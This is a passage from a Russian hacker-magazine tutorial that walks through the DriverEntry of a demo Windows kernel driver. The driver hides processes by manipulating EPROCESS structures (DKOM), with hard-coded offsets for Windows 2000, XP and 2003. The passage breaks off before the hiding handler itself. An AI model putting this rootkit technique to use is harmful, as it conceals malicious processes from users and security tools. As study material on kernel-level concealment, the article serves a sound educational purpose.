Враг неведом Зайцев Олег Спецвыпуск: Хакер, номер #070, стр. 070-034-4 // ***** Точка входа в драйвер ***** NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pusRegistryPath) { // Определение смещения по BuildNumber switch (*NtBuildNumber) { case 2195: // Win 2k ActiveProcessLinkOffset = 0xA0; PIDOffset = 0x09C; break; case 2600: // Win XP ActiveProcessLinkOffset = 0x88; PIDOffset = 0x084; break; case 3790: // W2K3 ActiveProcessLinkOffset = 0x98; PIDOffset = 0x094; break; default: return STATUS_NOT_IMPLEMENTED; } PDEVICE_OBJECT DeviceObject = NULL; NTSTATUS ntStatus; UNICODE_STRING usDeviceNameUnicodeString; UNICODE_STRING usDeviceLinkUnicodeString; // Подготовка Unicode-строк RtlInitUnicodeString (&usDeviceNameUnicodeString, L"\\Device\\DKOM_Demo"); RtlInitUnicodeString (&usDeviceLinkUnicodeString, L"\\DosDevices\\DKOM_DemoLink" ); // Создание устройства ntStatus = IoCreateDevice (pDriverObject, sizeof(DEVICE_OBJECT), &usDeviceNameUnicodeString, FILE_DEVICE_UNKNOWN, 0, TRUE, &DeviceObject); // Выход в случае ошибки при создании устройства if (!NT_SUCCESS(ntStatus)) { return STATUS_UNSUCCESSFUL; } // Создание символьной ссылки ntStatus = IoCreateSymbolicLink (&usDeviceLinkUnicodeString, &usDeviceNameUnicodeString ); if (!NT_SUCCESS(ntStatus)) { IoDeleteDevice(DeviceObject); return STATUS_UNSUCCESSFUL; } // Подключение обработчиков CREATE/CLOSE/CLEANUP pDriverObject->MajorFunction [IRP_MJ_CLEANUP] = pDriverObject->MajorFunction [IRP_MJ_CREATE] = pDriverObject->MajorFunction [IRP_MJ_CLOSE] = DispatchCreateCloseControl; // Подключение обработчика, отвечающего за выгрузку драйвера pDriverObject->DriverUnload = DriverUnload; // Возврат результата инициализации return STATUS_SUCCESS; } Таким образом, в момент инициализации драйвера идет заполнение двух переменных: ActiveProcessLinkOffset и PIDOffset. Переменная ActiveProcessLinkOffset содержит смещение от начала структуры EPROCESS до указателей на предыдущую/последующую структуры, а PIDOffset – смещение поля, хранящего PID процесса. Если эти смещения не удается определить, то это означает, что драйвер загружается на версии системы, для которой мы не знаем смещения. Затем выдается код ошибки — и загрузка драйвера прерывается. В случае успешного определения смещений драйвер пытается создать устройство и символьную ссылку и остается загруженным. Далее необходимо предусмотреть коммуникацию между программой и драйвером. Для этого драйверу необходимо, как минимум, реагировать на IRP_MJ_CREATE, IRP_MJ_CLOSE, IRP_MJ_CLEANUP для того, чтобы приложение могло открыть драйвер. Далее в реальном примере необходимо обрабатывать IRP_MJ_DEVICE_CONTROL и выполнять передаваемые с его помощью коды управления. Так как мы делаем демонстрационный пример, то можно не заморачиваться с передачей команд драйверу при помощи IRP – наш драйвер реализует единственную функцию, позволяющую замаскировать процесс по его PID. Поэтому можно упростить драйвер: замаскировать любой процесс, который попытается открыть созданную драйвером символьную ссылку. В этом случае обработчик будет иметь вид: |